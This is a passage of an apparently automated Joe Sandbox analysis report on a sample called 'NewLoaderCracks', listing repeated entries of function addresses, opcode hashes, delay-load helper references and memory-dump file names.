Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e648950a2dcd10af62bf769c80741f03d6f33a27edb8d9afcddddd8a19cf67e1
Instruction ID: caf3245ce27a392d20ff8a82be266d33aee8f9fc2db5676a24f590698b0db200
Opcode Fuzzy Hash: e648950a2dcd10af62bf769c80741f03d6f33a27edb8d9afcddddd8a19cf67e1
Instruction Fuzzy Hash: 85B012A726C202BD311C21447E27D3A0E3CF5C1B123308A1BBD09E0040D5805C4CA831

Function 0055D8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 421fc8fbe4b1391f59d10ad613456b64234614accaae00c3eae1424b71b26059
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 421fc8fbe4b1391f59d10ad613456b64234614accaae00c3eae1424b71b26059
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f2a603894f17ad50ae9143cb579054380252e229f17ec967d852884f4ea81b3b
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: f2a603894f17ad50ae9143cb579054380252e229f17ec967d852884f4ea81b3b
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6552b6bada066d8f06a42a0e16fad9b11943967c89d7d569f32fc8371ea01307
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 6552b6bada066d8f06a42a0e16fad9b11943967c89d7d569f32fc8371ea01307
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9cda9d23fa24ce115fbfac4a14c1d751a79a984897ca6441702137df74d5a511
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 9cda9d23fa24ce115fbfac4a14c1d751a79a984897ca6441702137df74d5a511
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5ec24583de71eb3692e5bed403013e822a8cd367ebf6a5960d7b621382b4bd95
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 5ec24583de71eb3692e5bed403013e822a8cd367ebf6a5960d7b621382b4bd95
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 933459611269883cab782685f739c9af7d7f4c5776625762cfe8fb6bfdd54d53
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 933459611269883cab782685f739c9af7d7f4c5776625762cfe8fb6bfdd54d53
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 86bb0128dd798d2d3066417bf0a6430f668f701d0da99724f849376e77a981ee
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 86bb0128dd798d2d3066417bf0a6430f668f701d0da99724f849376e77a981ee
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f4e3677de371b2c83efc7c2229b48d9ece01352c404ff43fb52c947f11e60a65
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: f4e3677de371b2c83efc7c2229b48d9ece01352c404ff43fb52c947f11e60a65
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 57bb59eb17c8d2531dbde5cdcf0bd9e540ec46ded518ab773179b5218f89203c
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 57bb59eb17c8d2531dbde5cdcf0bd9e540ec46ded518ab773179b5218f89203c
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 04a25759cd6cd13219c9215c637c20791977d99741d109d38a121b36b8edeee1
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 04a25759cd6cd13219c9215c637c20791977d99741d109d38a121b36b8edeee1
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055D98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9c0940c7ab9f0be1505349d637b34dbbea0f036ea659f3400128b7b005bc9830
Instruction ID: d8d2c6cf0faa1ea522b393391d692f2caeb801ce08565ad52853b307d136fb84
Opcode Fuzzy Hash: 9c0940c7ab9f0be1505349d637b34dbbea0f036ea659f3400128b7b005bc9830
Instruction Fuzzy Hash: 6AA0029756D503BD712862517D6AE360A2DE8C5B93334891BB84A940C19540584D5831

Function 0055DAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b5f323252862f6179fd514a4c5fab59f4983ea174bc7aa729f78b24d9e905cc4
Instruction ID: 0d6143e7f417021c4a95c407a404bd6469f188c47d2b722bb0d6c69ff4c9db1f
Opcode Fuzzy Hash: b5f323252862f6179fd514a4c5fab59f4983ea174bc7aa729f78b24d9e905cc4
Instruction Fuzzy Hash: 05A002A716D103BD31287151BD6AE3B0A6CE4C4B52330891BB80A944495555584D5831

Function 0055DACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 057e92bd4c07af5b8a2ec8c58cef74d66fcd47e64a3800ca21a0d8ec55e368f8
Instruction ID: 0d6143e7f417021c4a95c407a404bd6469f188c47d2b722bb0d6c69ff4c9db1f
Opcode Fuzzy Hash: 057e92bd4c07af5b8a2ec8c58cef74d66fcd47e64a3800ca21a0d8ec55e368f8
Instruction Fuzzy Hash: 05A002A716D103BD31287151BD6AE3B0A6CE4C4B52330891BB80A944495555584D5831

Function 0055DAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b8b1193273a56765c66e2ea34c81e33efea6b86618db49cb2e4411c9c8c2b47b
Instruction ID: 0d6143e7f417021c4a95c407a404bd6469f188c47d2b722bb0d6c69ff4c9db1f
Opcode Fuzzy Hash: b8b1193273a56765c66e2ea34c81e33efea6b86618db49cb2e4411c9c8c2b47b
Instruction Fuzzy Hash: 05A002A716D103BD31287151BD6AE3B0A6CE4C4B52330891BB80A944495555584D5831

Function 0055DAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: adae12d5946af0c9866f81e798c8686d5a968783e0f985a3b442f5826de66e7f
Instruction ID: 0d6143e7f417021c4a95c407a404bd6469f188c47d2b722bb0d6c69ff4c9db1f
Opcode Fuzzy Hash: adae12d5946af0c9866f81e798c8686d5a968783e0f985a3b442f5826de66e7f
Instruction Fuzzy Hash: 05A002A716D103BD31287151BD6AE3B0A6CE4C4B52330891BB80A944495555584D5831

Function 0055DAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
